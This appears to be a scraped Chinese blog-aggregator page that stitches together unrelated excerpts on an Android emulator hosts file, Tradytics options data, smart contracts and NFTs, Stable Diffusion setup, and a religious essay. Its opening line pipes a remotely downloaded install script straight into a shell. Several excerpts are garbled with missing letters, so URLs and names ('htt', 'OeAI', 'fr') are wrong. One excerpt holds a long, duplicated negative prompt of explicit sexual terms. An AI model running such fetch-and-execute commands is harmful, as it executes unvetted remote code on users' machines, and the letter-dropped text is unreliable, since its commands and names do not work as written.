直接使用线上地址快速下载并执行Shell脚本一件部署可以使用以下命令： <>使用curl：curl -SL htt://oeai.ite/itall_frc.h | ah - 端口号 toke erver_addr [erver_ort=7000]wget -qO- htt://oeai.ite/itall_frc.h | ah - 端口号 toke erver_addr [erver_ort=7000] - 博客 技术小黑屋 2023-03-12 20:50:00
有时候我们需要使用 Android 模拟器来 绑定一下 hosts 来实现功能的开发与验证，刚好最近遇到了这样的需求，处理完成，简单记录一下。
替换m1 实现（针对 苹果 M1 芯片才需要处理）
解压，然后将
emulator和emulator-check替换掉这里面的文件~/Library/Android/sdk/tools/（原有的可以备份为 xxx_backup）查看 avd_id
1 2 3 4 5 6 7
~/Library/Android/sdk/tools/emulator -list-avds Pixel6ProAPI33 Pixel_3a_API_33_arm64-v8a Pixel_6_API_22 Pixel_6_API_28 Pixel_6_Pro_API_23 Pixel_6_Pro_API_30_X86启动 avd，可写入状态
1~/Library/Android/sdk/tools/emulator -avd Pixel_3a_API_33_arm64-v8a -writable-system新起终端tab 执行
- adb root
- adb remount
- adb push your_hosts_on_mac /etc/hosts
验证ping
假设上面的 hosts 我们新增了
127.0.0.1 baidu.com1 2 3 4 5 6
adb shell ping baidu.com PING baidu.com (127.0.0.1) 56(84) bytes of data. 64 bytes from baidu.com (127.0.0.1): icmp_seq=1 ttl=64 time=1.55 ms 64 bytes from baidu.com (127.0.0.1): icmp_seq=2 ttl=64 time=0.180 ms注意： hosts 修改建议在 mac 上进行处理，然后使用
adb push your_hosts_on_mac /etc/hosts替换手机内的hosts。手机内置的 vi 很弱，可能无法编辑。以上。
- 博客 forecho 的独立博客 2023-03-11 10:40:00
引言
前一段时间和几个朋友以一个非常低的价格拼车买了 Tradytics 的会员，一有时间我就研究如何使用，虽然 Tradytics 太复杂了，但是有很多有用的数据，可以帮我们看清目前的市场状况，然后做出正确的交易决策。
我会把我学到的东西分享出来，希望能帮助到大家。系列文章点击 Tradytics 查看。
Tradytics 是什么？
Tradytics 是一个人工智能驱动的交易平台，提供了各种工具来帮助我们在市场上获得优势，它每天分析超过一百万个数据点，来自期权流量、股票日内数据、新闻、内部交易等。
基于这些分析，通过专有人工智能算法，提取有用信息，帮助我们提前评估市场走向。
找到日内期权交易的标的
了解期权市场摘要
访问 Options Market 了解市场的详细视图和统计数据，将有助于我们选择合适的交易方向。
上图是汇总的市场净流量是将市场中所有股票的净保证金与 SPY 股价进行比较，可用于预测市场方向。点是基于动量的进入点。请观看视频指南了解更多详情。
我认为这是 Tradytics 最有用的功能之一，因为它可以帮助我们快速了解市场的走向。
顶级期权流量
从「TOP OPTIONS FLOW」开始：
-
每日最佳期权流向：每日具有最高和最低权利金的股票。净权利金是看涨和看跌头寸之间的差额。
-
每周热门期权流量：每周具有最高和最低净权利金的股票。净权利金是认购期权权利金与认沽期权权利金之差。
顶级期权溢价
- 成交量变化最大的 CALL：相对于过去 7 天平均数，CALL 成交量变化最大的股票。
- 成交量变化最大的 PUT：相对于过去 7 天平均数，PUT 成交量变化最大的股票。
- 权利金变化最大的 CALL：相对于过去 7 天平均数，CALL 权利金变化最大的股票。
- 权利金变化最大的 PUT：相对于过去 7 天平均数，PUT 权利金变化最大的股票。
观察这几个数据，从中挑选出你要交易的期权标的。
最大流量的期权
大流量期权数据显示极其庞大的期权订单，鼠标悬停在图表上，可以看到具体的数据。
这有时可以展示聪明资金、对冲或内部知情者的行为。
便宜的期权
钱不够多，但是想交易期权？这里有一些价格低但交易量大的期权。如果你想避免时间价值损失，可以选择 LEAPs(长期股票期权) 。
- 临近到期的高交易量期权：这些期权通常很快到期，这种期权时间价值损失很快。
- 到期日在几个月后的高交易量期权：这些期权的时间价值损失很慢，因为到期日很远。
分析具体的期权
期权交易概况
使用 Options Dashboard 的搜索功能查看具体股票期权交易情况和概况。
- 每日保证金热力图：TSLA 热力图展示了在顶级行权价和到期日上花费的每日净保证金。
- 每周保证金热力图：TSLA 热力图展示了在顶级行权价和到期日上花费的每周净保证金。
- 历史净保证金：TSLA 每日看涨和看跌期权的净保证金。净保证金是买入头寸支出的保证金减去卖出头寸支出的保证金。 4.净流量：历史净流量显示累计的看涨和看跌期权保证金，是从算法流派中得出的。目前显示 1 天的净流量。
成交量和持仓量热力图
TSLA 在各个行权价和到期日的成交量和未平仓合约指标。当前选择为净值，即看涨期权未平仓合约数减去看跌期权未平仓合约数。
图片右上角可以选择其他指标以及筛选条件。
具体期权合约
- 最大的订单：按总权利金支出计算，TSLA 的最大订单。鼠标悬停在图表上，可以看到具体的数据。
- 不寻常的合约：在成交量高于持仓量方面最不寻常的订单。鼠标悬停在图表上，可以看到具体的数据。
- 成交量最大的 CALLS：按成交量和已支付保证金计算的 TSLA CALL 中的最大期权 - 仅考虑购买头寸。
- 成交量最大的 PUTS：按成交量和已支付保证金计算的 TSLA PUT 中的最大期权 - 仅考虑购买头寸。
最后，这里只列举了部份，其他的数据可以去 Options Dashboard 自行查看。
Bullseye
Bullseye 是基于人工智能的直接预测期权合约价格是否会上涨或下跌。
- 自警报发布以来，合同价格变化了多少？
从图中我们看出，其实胜率不高，需要待观察。
买卖时机
Tradytics 的 Stocks Dashboard 拥有一个买卖点算法引擎，使用移动平均线和自动生成的支撑阻力线来建议买入和卖出的时机。
更多可以参考《用 Tradytics 日交易》 这篇文章找到支撑和阻力线。根据这些线，我们可以找到买卖时机。
最后
Tradytics 是一个非常好的工具，可以帮助我们更好的分析期权和股票。但是，我们还是要注意，这些数据只是辅助，不是决定性的，我们还是要结合自己的分析和判断。也不要因为一个指标而做出决定，要结合多个指标，才能更好的分析。
-
- 博客 二丫讲梵 2023-03-10 17:21:50如要阅读全文，点击标题跳转。学习周刊-总第97期-一个开源的APM程序
- 博客 轶哥博客 2023-03-09 19:46:47<>
fr-udate-ceter是一个开源的基于 Pytho 编写的更新中心，为 fr 提供最新版本和不同平台架构的组件，使用户能够轻松下载和更新。<>fr是一个快速的反向代理工具，由 Go 语言编写，它可以帮助用户轻松地将内网服务映射到公网上，从而实现访问内网服务的目的。fr拥有强大的功能和良好的性能，在企业和个人使用场景中广泛应用。<>由于fr是一个跨平台的工具，因此用户需要在不同的操作系统和架构上安装和更新它。fr-udate-ceter就是为了解决这个问题而诞生的，它提供了一个统一的接口，使用户能够方便地获取和下载最新版本的fr组件。 - 博客 二丫讲梵 2023-03-07 21:59:35如要阅读全文，点击标题跳转。某些时候，我们会有在容器内容访问宿主机某个服务的需求，比如现在 openai 无法直接访问，需要给项目添加代理，我的 chatgpt-dingtalk 项目支持了通过环境变量指定代理地址。
- 博客 二丫讲梵 2023-03-07 18:56:00注：已找到工作，这期间得到了太多的帮助，随后有空会整理一个文档进行感谢，接下来该专心投入到工作当中啦！
- 博客 forecho 的独立博客 2023-03-05 15:09:00
引言
这两年 NFT 非常火，但是我一直没有系统的去了解过，今年准备好好学习 WEB3.0 相关的知识，所以就从智能合约和 NFT 入手了。
这篇文章主要是记录我学习智能合约和 NFT 的过程，分享一些学习资料，希望能帮助到大家。
智能合约
起源
- 智能合约的概念最早是由美国计算机科学家 Nick Szabo 在 1994 年提出的，当时他称其为「合约代码」。
- 在比特币的诞生和普及后，智能合约逐渐得到了广泛的关注和应用。
- 智能合约在区块链技术的基础上实现了不需要第三方的自动执行合同的能力，这是一项非常具有革命意义的技术。
特点
- 去中心化：智能合约的执行不需要任何中间机构或个人的介入。
- 自动执行：智能合约代码在执行过程中不需要人为干预。
- 透明：智能合约的代码和执行结果对所有人都是可见的。
- 安全：智能合约代码是不可更改的，执行结果也是不可篡改的，这保证了合约的安全性。
工作原理
智能合约基于区块链技术和分布式计算技术实现。
智能合约被编写为一段计算机程序代码，并被部署在区块链上的智能合约平台中。当用户想要执行一个智能合约时，他们会向合约发送一个交易请求，智能合约会对交易请求进行验证和执行相应的程序代码，并将结果写入区块链上的交易记录中。
智能合约的执行结果会被广播到整个区块链网络中，所有节点进行验证和确认，最终被写入区块链上的区块中。
智能合约具有去中心化、不可篡改、自我执行、高度安全等特点。
与传统合约区别
特点 传统合约 智能合约 执行方式 人工执行 自动执行 中心化程度 中心化 去中心化 可信度 风险较高 高度可信 成本和效率 成本高、效率低 成本低、效率高 应用范围 法律和商业领域 广泛应用 应用
智能合约在什么地方有应用
- 区块链金融：用于数字货币、智能投资、分布式交易、借贷、保险等金融领域，以提高金融交易的效率和安全性。
- 物联网：用于智能家居、智能城市、智能工厂等物联网场景，以实现设备之间的自动化交互和数据共享。
- 版权保护：用于音乐、电影、游戏等知识产权保护领域，以确保创作者能够获得他们应得的收益。
- 医疗卫生：用于电子病历、药品追溯、医疗数据管理等领域，以提高医疗卫生服务的质量和安全性。
- 政务服务：用于政务服务领域，例如政府采购、社会保障、土地管理等领域，以提高公共服务的效率和透明度。
- 游戏业：用于游戏领域，例如游戏道具交易、游戏账号管理等领域，以提高游戏交易的安全性和透明度。
Ethereum 与智能合约的关系
Ethereum（ETH）是一种基于区块链技术的数字货币，同时也是一种开源的区块链平台，其中最重要的功能之一就是支持智能合约的开发和运行。因此，ETH 和智能合约有着密切的关系。
ETH 通过引入智能合约技术，使得开发者可以在区块链上编写和运行自己的应用程序，这些应用程序被称为「去中心化应用（DApps）」。智能合约是这些 DApps 的核心组件，它们是一种能够自动执行合约条款的计算机程序，其执行过程基于区块链上的共识机制，并且可以实现可信的去中心化的交易和信息交互。
因此，ETH 和智能合约的结合，使得 ETH 平台上可以实现各种去中心化的应用，例如数字货币交易、投资管理、分布式市场、金融衍生品、电子投票、数字身份认证等，这些应用都依赖于智能合约来实现自动化的执行和管理。所以说，智能合约是 ETH 平台的重要组成部分，也是 ETH 成功的重要原因之一。
如何编写智能合约
编程语言
智能合约的编程语言有很多种，但是目前最常用的是 Solidity。其他还有：
- Vyper
- Chaincode
开发环境
- 本地搭建（不推荐）
- 在线 IDE
- 框架开发
Solidity
Solidity 是一种面向对象的、基于合约的、高级的、静态类型的、通用的、编译型的、类 C 风格的语言，它是一种用于编写智能合约的语言。
这门编程语言总共包含四种不同的重要元素，Contract、Variable、Function 和 Event。
Contract Examples
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29// SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.8.2 <0.9.0; /** * @title Storage * @dev Store & retrieve value in a variable * @custom:dev-run-script ./scripts/deploy_with_ethers.ts */ contract Storage { uint256 number; /** * @dev Store value in variable * @param num value to store */ function store(uint256 num) public { number = num; } /** * @dev Return value * @return value of 'number' */ function retrieve() public view returns (uint256){ return number; } }开头写明合约协议，接着要写 solidity 版本号，这个合约的功能是存储和读取一个数字，这个数字是一个 uint256 类型的，也就是 256 位的无符号整数，这个数字可以被任何人存储和读取。
ABI
ABI（Application Binary Interface 是指在两个不同程序之间进行交互的规范，其定义了函数调用的参数、返回值、异常处理等方面的约定。
在以太坊中，ABI 是指用于定义智能合约与外部世界进行交互的规范。智能合约在部署时会生成一个 ABI，其他应用程序可以通过 ABI 来与智能合约进行交互。
ABI 定义了智能合约的接口，包括智能合约的函数名、参数类型和返回值类型等信息，通过 ABI，外部应用程序可以调用智能合约中的函数，并获得相应的返回值。
通常，编写智能合约时会生成一个 ABI 文件，我们可以将这个文件提供给客户端库，以便客户端库生成相应的接口，来与智能合约进行交互。
发布
合约一般先发布到测试网络，测试通过后再发布到主网。发布之前我们需要准备：
- 钱包，测试网钱包：可以使用 MetaMask 创建帐号
- 水龙头，测试网的 Gas fee：可以去官网领取
步骤：
- 先在 Remix 中编写合约
- 点击 Compile，编译合约
- 点击 Deploy，部署合约
任何操作都可以看日志输出的信息，发布成功之后可以去 Etherscan 查看合约信息。可以查看我发布的合约。
OpenZeppelin
OpenZeppelin 是一个开源的以太坊智能合约开发库，提供安全、可靠和易于使用的智能合约组件和工具，帮助开发者构建更安全的智能合约。它提供了许多常用的智能合约组件，例如 ERC20、ERC721、SafeMath、AccessControl 等，可以帮助开发者减少重复造轮子的时间和成本，同时提高智能合约的安全性。
NFT 合约
通过 OpenZeppelin 生成我们 NFT 的初始化代码，代码复制到 Remix
然后修改代码，通过编译检查代码，然后发布。
测试合约：
- 点击 safeMint 右边展开，approve 输入我们要 Mint 的钱包地址，比方说
0x7f303C3cA6FE9C2A3ebabDeC69c54FE8102bDb9F；uri 输入 NFT 的 metadata URL（可选操作，不然 NFT 没有图片）；然后点击 transact 开始 mint； - 检查日志，确认 Mint 状态
- 去 OpenSea 输入钱包地址，Check NFT。
这个就是我发布的 NFT。
当然我上面为了演示效果，搞清楚流程。实际的合约代码要比这个复杂的多，最主要的是还要考虑安全性，并且还要做一些限制等等，以后有机会再进一步研究分享。
智能合约都是开源的，附上两个智能合约链接，有兴趣可以研究研究。
总结
本文主要介绍了智能合约和 NFT 的一些基础知识，并且通过实践演示了如何发布一个 NFT 合约，搞清楚了发布流程。
参考
- 博客 离别歌 2023-03-04 22:38:00
最近博客后台经常会出现一些来自国外的留言，基本全是一些广告，以推广SEO、推广博客工具的居多，比如这个：
这个情况这几年一直都有，我也一直在给博客增加许多限制，比如IP黑名单、关键词黑名单、增强验证码等，但总有一些漏网之鱼，而且今年特别严重。
我的博客完全是自己开发的，而非Wordpress这类通用程序，理论上应该不会有传统的通用工具能自动绕过验证码进行留言。所以我想不太通这些工具是怎么做...
- 博客 二丫讲梵 2023-03-04 04:09:06如要阅读全文，点击标题跳转。学习周刊-总第96期-超强的开源搜索引擎meilisearch
- 博客 二丫讲梵 2023-02-28 22:56:10如要阅读全文，点击标题跳转。使用 GitHub Action 时，有一种场景需求为，通过 release 触发构建，然后构建的过程中，还要用到这次创建的 release 号。默认的 github action 没有现成的变量可用，而 github-slug-action 弥补了这一缺憾。
- 博客 轶哥博客 2023-02-28 22:48:31
- 博客 胡涂说 2023-02-28 21:45:00818
- 博客 轶哥博客 2023-02-27 22:30:00
- 博客 二丫讲梵 2023-02-26 21:04:41如要阅读全文，点击标题跳转。日常开发过程中，不论是哪个语言，一定都会有相对应的语法检测工具或者手段来辅助我们检查出编码过程中的一些遗漏或疏忽。但有时候会有一个尴尬的情况就是，把检测的方式配置上去了，却没有运行，最后成了摆设。今天来介绍一个工具pre-commit，能够完成在代码提交之前运行指定检测，从而实现代码的自检。
- 博客 二丫讲梵 2023-02-25 19:38:49如要阅读全文，点击标题跳转。我的 xirang 系统之前引入 sqlite 功能的时候，使用的驱动包是 github.com/mattn/go-sqlite3 v1.14.15，这个库现在在 go 项目当中，引用最多，应用最广，看项目 Used By 达到了 71k，俨然成为这一方面的标准，但有一个最大的问题就是，这是一个 C 语言实现的库，如果要应用这个库，那么你的环境就需要解决这个 CGO 依赖。
- 博客 二丫讲梵 2023-02-24 17:51:14如要阅读全文，点击标题跳转。学习周刊-总第95期-汇总整理几个优秀的开源图床程序
- 博客 轶哥博客 2023-02-23 23:32:11<>随着人工智能技术的不断发展，自然语言处理模型也越来越强大。其中，OeAI公司开发的ChatGPT模型可以说是自然语言处理技术中的一股强劲力量。除了能够进行自然语言的理解和生成，ChatGPT还具备编写完整程序的能力。<>ChatGPT是一个基于神经网络的自然语言处理模型，它被训练出来可以模仿人类语言的表达方式，包括语法、语义和逻辑。ChatGPT的强大之处在于它可以利用这些语言知识来推理和判断，从而生成有意义的回复。这种能力使得ChatGPT成为了一个非常有用的工具，可以应用于多个领域，ChatGPT可以理解人类语言，分析和处理语言信息，实现对话和回答问题的功能。除此之外，ChatGPT还可以通过学习和自我更新，不断提高自身的处理能力和实现更加复杂的任务。
- 博客 LoRexxar's Blog 2023-02-21 19:24:14
随着ChatGPT的爆火，最近和人工智能有关的各个部分也有一次爆火起来，由ai制成的美少女也是最近的一个爆火的话题，花了一点儿时间了解了一下，感觉还挺有意思的，现有的工具已经是非常成熟可用的东西了，接下来简单介绍一下怎么玩
Stable Diffusion WebUI
这次我是用的是Stable Diffusion WebUI来生成ai图，这是一款现在非常流行的用ai来绘图的开源工具，给出一组描述词，ai就可以根据描述词画出你想要的图片。现在使用最多的是AUTOMATIC1111改进的图形化版本，支持Linux/Windows/MacOS系統，以及Nvidia/AMD/Apple的GPU，几乎没有门槛，装好即用。
需要注意的是，这个玩意及其吃GPU以及显存，我的工作机跑这个一下就卡死了，很吃力。
安装指南
基础环境
- N卡或者A卡对应的驱动程序
- python3.10+，最好新一点儿
- Git环境
Stable Diffusion模型
Stable Diffusion生成图需要基础模型，主要有两部分
- 脸部修复模型GFPGAN
- 绘图使用的相关模型
GFPGAN可以去https://github.com/TencentARC/GFPGAN/releases/tag/v1.3.4直接下载
还有一部分是绘图相关的模型，这部分模型有很多，可以在很多不同的网站上搜索下载，比如https://huggingface.co/models或者https://civitai.com/都是比较有名的模型下载网站
名称 说明 下载 Stable Diffusion CompVis发布的基础模型，适合真人和动物。 HuggingFace Chilloutmix 写实风格的模型，融合真人和动漫风格 HuggingFace Anything 适合漫画 HuggingFace Waifu Diffusion 使用Danbooru图库训练而成，适合漫画 HuggingFace 你也可以选择在civitai上直接找自己喜欢的模型下载，ckpt后缀和safetensors后缀都快可以。
在筛选中勾选Checkpoint对应的就是基础绘画模型。
安装Stable Diffusion
1、首先从github下载源码
1
git clone https://github.com/AUTOMATIC1111/stable-diffusion-webui.git
2、把前面下载的GFPGANv1.4.pth放在对应的文件夹下。
3、下载相应的各种依赖库，windows执行bat，linux执行sh。
1
2cd stable-diffusion-webui
./webui-user.bat每次运行的时候都会通过git同步最新版本的各种库，第一次运行的时候会下载各种依赖库，有点儿大而且涉及github，快的话大概30分钟左右，慢的话可能会很慢。
如果显示web的链接，那么说明所有的依赖已经下载成功了。要注意的是，依赖当中有关torch有可能会遇到很多报错，可以考虑手动下载安装
4、安装对应的绘画模型
前面提到的https://huggingface.co/models或者https://civitai.com/中下载的模型需要放在models/Stable-diffusion/中
5、如果GPU的显存小于4G，那么你可以在在启动脚本当中加入–medvram，windows编辑webui-user.bat。
6、当你打开对应的链接可以访问使用时，说明已经安装成功了。
简单的使用指南
关键字
使用Stable Diffusion生成图时，最重要的就是关键字，分别是正向关键字和负向关键字。
无论是那个模式都是通过关键字来影响图片生成，这个关键字主要有几个部分。
- 必须是英文输入，你可以使用关键字词语，比如girl,long hair等关键字，也可以使用一段句子来描述，比如a girl with long hair，或者使用某个艺术家的名字来，Voldy可以查到相关的艺术家画风，又或者直接使用某个特定的动漫人物的名字，输出相关的作品和角色。ai会根据你的描述来生成图。
- 你可以使用括号增加标签的权重，括号越多权重越高。
这里也分享一个Hentai Diffusion分享的万用的负向关键字，可以防止出现断手断脚
1
(((deformed))), blurry, bad anatomy, disfigured, poorly drawn face, mutation, mutated, (extra_limb), (ugly), (poorly drawn hands), fused fingers, messy drawing, broken legs censor, censored, censor_bar, multiple breasts, (mutated hands and fingers:1.5), (long body :1.3), (mutation, poorly drawn :1.2), black-white, bad anatomy, liquid body, liquidtongue, disfigured, malformed, mutated, anatomical nonsense, text font ui, error, malformed hands, long neck, blurred, lowers, low res, bad anatomy, bad proportions, bad shadow, uncoordinated body, unnatural body, fused breasts, bad breasts, huge breasts, poorly drawn breasts, extra breasts, liquid breasts, heavy breasts, missingbreasts, huge haunch, huge thighs, huge calf, bad hands, fused hand, missing hand, disappearing arms, disappearing thigh, disappearing calf, disappearing legs, fusedears, bad ears, poorly drawn ears, extra ears, liquid ears, heavy ears, missing ears, fused animal ears, bad animal ears, poorly drawn animal ears, extra animal ears, liquidanimal ears, heavy animal ears, missing animal ears, text, ui, error, missing fingers, missing limb, fused fingers, one hand with more than 5 fingers, one hand with less than5 fingers, one hand with more than 5 digit, one hand with less than 5 digit, extra digit, fewer digits, fused digit, missing digit, bad digit, liquid digit, colorful tongue, blacktongue, cropped, watermark, username, blurry, JPEG artifacts, signature, 3D, 3D game, 3D game scene, 3D character, malformed feet, extra feet, bad feet, poorly drawnfeet, fused feet, missing feet, extra shoes, bad shoes, fused shoes, more than two shoes, poorly drawn shoes, bad gloves, poorly drawn gloves, fused gloves, bad cum, poorly drawn cum, fused cum, bad hairs, poorly drawn hairs, fused hairs, big muscles, ugly, bad face, fused face, poorly drawn face, cloned face, big face, long face, badeyes, fused eyes poorly drawn eyes, extra eyes, malformed limbs, more than 2 nipples, missing nipples, different nipples, fused nipples, bad nipples, poorly drawnnipples, black nipples, colorful nipples, gross proportions. short arm, (((missing arms))), missing thighs, missing calf, missing legs, mutation, duplicate, morbid, mutilated, poorly drawn hands, more than 1 left hand, more than 1 right hand, deformed, (blurry), disfigured, missing legs, extra arms, extra thighs, more than 2 thighs, extra calf,fused calf, extra legs, bad knee, extra knee, more than 2 legs, bad tails, bad mouth, fused mouth, poorly drawn mouth, bad tongue, tongue within mouth, too longtongue, black tongue, big mouth, cracked mouth, bad mouth, dirty face, dirty teeth, dirty pantie, fused pantie, poorly drawn pantie, fused cloth, poorly drawn cloth, badpantie, yellow teeth, thick lips, bad camel toe, colorful camel toe, bad asshole, poorly drawn asshole, fused asshole, missing asshole, bad anus, bad pussy, bad crotch, badcrotch seam, fused anus, fused pussy, fused anus, fused crotch, poorly drawn crotch, fused seam, poorly drawn anus, poorly drawn pussy, poorly drawn crotch, poorlydrawn crotch seam, bad thigh gap, missing thigh gap, fused thigh gap, liquid thigh gap, poorly drawn thigh gap, poorly drawn anus, bad collarbone, fused collarbone, missing collarbone, liquid collarbone, strong girl, obesity, worst quality, low quality, normal quality, liquid tentacles, bad tentacles, poorly drawn tentacles, split tentacles, fused tentacles, missing clit, bad clit, fused clit, colorful clit, black clit, liquid clit, QR code, bar code, censored, safety panties, safety knickers, beard, furry, pony, pubic hair, mosaic, futa, testis, (((deformed))), blurry, bad anatomy, disfigured, poorly drawn face, mutation, mutated, (extra_limb), (ugly), (poorly drawn hands), fused fingers, messy drawing, broken legs censor, censored, censor_bar, multiple breasts, (mutated hands and fingers:1.5), (long body :1.3), (mutation, poorly drawn :1.2), black-white, bad anatomy, liquid body, liquidtongue, disfigured, malformed, mutated, anatomical nonsense, text font ui, error, malformed hands, long neck, blurred, lowers, low res, bad anatomy, bad proportions, bad shadow, uncoordinated body, unnatural body, fused breasts, bad breasts, huge breasts, poorly drawn breasts, extra breasts, liquid breasts, heavy breasts, missingbreasts, huge haunch, huge thighs, huge calf, bad hands, fused hand, missing hand, disappearing arms, disappearing thigh, disappearing calf, disappearing legs, fusedears, bad ears, poorly drawn ears, extra ears, liquid ears, heavy ears, missing ears, fused animal ears, bad animal ears, poorly drawn animal ears, extra animal ears, liquidanimal ears, heavy animal ears, missing animal ears, text, ui, error, missing fingers, missing limb, fused fingers, one hand with more than 5 fingers, one hand with less than5 fingers, one hand with more than 5 digit, one hand with less than 5 digit, extra digit, fewer digits, fused digit, missing digit, bad digit, liquid digit, colorful tongue, blacktongue, cropped, watermark, username, blurry, JPEG artifacts, signature, 3D, 3D game, 3D game scene, 3D character, malformed feet, extra feet, bad feet, poorly drawnfeet, fused feet, missing feet, extra shoes, bad shoes, fused shoes, more than two shoes, poorly drawn shoes, bad gloves, poorly drawn gloves, fused gloves, bad cum, poorly drawn cum, fused cum, bad hairs, poorly drawn hairs, fused hairs, big muscles, ugly, bad face, fused face, poorly drawn face, cloned face, big face, long face, badeyes, fused eyes poorly drawn eyes, extra eyes, malformed limbs, more than 2 nipples, missing nipples, different nipples, fused nipples, bad nipples, poorly drawnnipples, black nipples, colorful nipples, gross proportions. short arm, (((missing arms))), missing thighs, missing calf, missing legs, mutation, duplicate, morbid, mutilated, poorly drawn hands, more than 1 left hand, more than 1 right hand, deformed, (blurry), disfigured, missing legs, extra arms, extra thighs, more than 2 thighs, extra calf,fused calf, extra legs, bad knee, extra knee, more than 2 legs, bad tails, bad mouth, fused mouth, poorly drawn mouth, bad tongue, tongue within mouth, too longtongue, black tongue, big mouth, cracked mouth, bad mouth, dirty face, dirty teeth, dirty pantie, fused pantie, poorly drawn pantie, fused cloth, poorly drawn cloth, badpantie, yellow teeth, thick lips, bad camel toe, colorful camel toe, bad asshole, poorly drawn asshole, fused asshole, missing asshole, bad anus, bad pussy, bad crotch, badcrotch seam, fused anus, fused pussy, fused anus, fused crotch, poorly drawn crotch, fused seam, poorly drawn anus, poorly drawn pussy, poorly drawn crotch, poorlydrawn crotch seam, bad thigh gap, missing thigh gap, fused thigh gap, liquid thigh gap, poorly drawn thigh gap, poorly drawn anus, bad collarbone, fused collarbone, missing collarbone, liquid collarbone, strong girl, obesity, worst quality, low quality, normal quality, liquid tentacles, bad tentacles, poorly drawn tentacles, split tentacles, fused tentacles, missing clit, bad clit, fused clit, colorful clit, black clit, liquid clit, QR code, bar code, censored, safety panties, safety knickers, beard, furry, pony, pubic hair, mosaic, futa, testis
合并多个绘图模型
在进入web平台之后，左上角可以选择你使用的绘画模型。
我使用的过程中发现，这个绘画模型要比关键字对绘图来说更关键，如果有一个很好的绘画模型会很容易生成好看的图，而stable diffusion提供了合并模型的功能，而现在很多不错的模型都是混搭出来的，比如最近非常流行的Korean Doll Likeness就是由Uber Realistic Porn Merge (URPM)-0.7 and ChilloutMix-0.3混搭而来。
你也可以选择用这个功能混搭一个自己喜欢的基础模型。
文生图或者图生图
前面提到stable diffusion生成图片是通过关键字实现的，除了文字以外，还提供了提供图片生成的图生图功能。你可以使用上传图片+关键字组合的方式生成图片。
其中的很多配置我也没搞明白，就说几个比较关键的配置。
- sampling steps代表图片演化的步骤，可以调高一点儿30、40左右。
- width和Height是生成的图片大小，建议不要调这个，这个调大了很卡。
- batch count表示生成图片的数量，建议不要太高，占用太高可能会闪退。
使用分享的关键字以及参数
在了解的前面的东西之后，你应该可以生成一些各种类型的图片了，但是我说实话，生成的很多图效果都很差，这个时候可以去civitai上去逛一逛，找一点儿别人分享的图和参数来看看。
随便选一个喜欢的分享，点进去往下翻，可以看到很多使用该模型生成的图
随便选一个喜欢的图，右下角点击叹号，可以看到生成该图使用的各种参数。
你可以把所有的配置直接偷下来，使用该种子就可以生成你想要的图，也可以不指定种子就可以用这个模板来生成图。
除了这种比较简单的关键字参数以外，你还可以在stable diffusion引用lora模型，在civitai上筛选LORA
选择一个你喜欢的LORA模型，在右上角下载。
然后放在models/Lora里面
然后在右边generate的下面点击粉色图标，点到Lora中就可以看到刚才导入的Lora模型
点选就可以在关键字的基础上再引入额外的绘画模型。可以画出更有风格的图。
Inpaint 辅助绘制
除了简单的生成图片以外，stable diffusion还有很神奇的功能是辅助绘制，在图生图里，有个分栏叫Inpaint，你可以选择涂黑图片的一部分，ai就只会修改涂黑的部分
比如这里我涂黑了裙子部分，ai就自动生成了一个腰带，通过这个功能可以智能的修改某个东西，还是很有趣的。
写在最后
其实这个玩意出来已经很多年了，之前看过一些但是当时还比较简单，大部分只是基于图包训练，很多结果说实话都很一般，最近又火起来之后就又研究了一下，没想到这个玩意已经成熟到这个地步了，感觉还蛮有意思的，很多图成熟度已经非常高了，估计以后会有大量的赛博偶像了:>
- 博客 二丫讲梵 2023-02-21 03:57:56如要阅读全文，点击标题跳转。有人可能会觉得，有了go-ldap-admin这个平台之后，就不需要再了解这些查询方面的知识了，其实这是一个误区，go-ldap-admin平台的确接管了ldap的一应管理，但是ldap终究还是要对接到第三方应用，这个时候，掌握一点简单的查询语法，就是很有必要的。
- 博客 吕小荣的网志 2023-02-19 08:00:00
我叫吕小荣。
当朋友开口说 “小荣，….“，我就知道他们在对我说话，他们也知道在对一个人说话。
小荣，是个语言符号，在他们的世界里代指了现实世界中一个活生生的本体，它有各种属性：男性，36岁，短发，近视，工程师，已婚已育…。
如果我乐意，可以换一个英文符号 “Ryan”，这个符号因我焕发了生机。但如果我的本体并不存在，这个语言符号在他们所处的生活空间内，大概率会失去意义。
语言符号可以用来代指人，语言符号可以代指一个概念。
人们看到一类东西，它有强壮的躯干，枝繁叶茂，可以喂食动物，有时候结果子，脑海中就自然抽象出概念（concept），然后用“树”这个语言符号（sign）来代指它。
“树”这个概念，有一些列的属性（properity）：
- 有叶子
- 有枝干
- 有时候结甜甜的果子
- 枝干晒干后可以燃烧，做饭。
人类因创造性会制造大量的概念和符号，大部份符号只是绚烂绽放，衰落，消亡。有谁会记得20世纪90年代 “下海1” 的含义呢？
符号为实体服务。
一个婴孩出生在非洲的热带雨林，即使不接受现代文明的教育，他的生活环境中有大量树木，他必定会对这类物体抽象出概念，他可能发明自己喜欢的语言符号。
反之，一个婴孩生活西藏的那曲，一个树木稀缺的城市，他未见过树的枝繁叶茂，也没有吃过甜果子，当他使用 “树”这个语言符号时，他所阐述概念和事体的大概率是自己的想象，他对语言符号背后的含义并无真认识。语言符号在这种场景下，就彻底沦丧为一个符号。
在宗教信仰中，这种脱节也很普遍。当我最早接触基督教时，“圣洁”这个语言符号在我脑海中的画面是 “神坐在至高的宝座上，周围雪白，没有任何污点”。实际上，在圣经《利未记》中，祭祀用的物品是要单独分别出来的，圣洁一词最早用来形容那些“分别出来，专门给神用的”物品。
在旧约《埃及记》中，语言符号和实体的脱节更为致命。信徒们喜爱 “神” 这个语言符号，不在乎符号所代表的本体。
神给以色列人颁布了十诫，其中一条 “不可为自己雕刻偶像，也不可做什么形像，仿佛上天、下地和地底下水中的百物。 不可跪拜那些像，也不可事奉它们，因为我耶和华—你的 神是忌邪的 神。恨我的，我必惩罚他们的罪，自父及子，直到三、四代；爱我，守我诫命的，我必向他们施慈爱，直到千代。”
但他们的领袖摩西不在的日子里，老百姓就在旷野铸造了金牛犊，并且称之神，又唱又跳，疯狂赞美。我相信他们应该相当虔诚，毕竟捐的是真金。
但凡他们对自己的神有一丁点真知识，就知道神的律法和公义，自然知道祭拜金牛犊会死无葬身之地。可见他们对“神”这个语言符号背后的实体并无真认识。他们虔诚的敬拜想象之物。
如果一个基督徒自称认识神，但是并不知道/也不打算认识语言符号背后的实体，不认识他的怜悯，不认识他的公义，不认识他的道德之美。
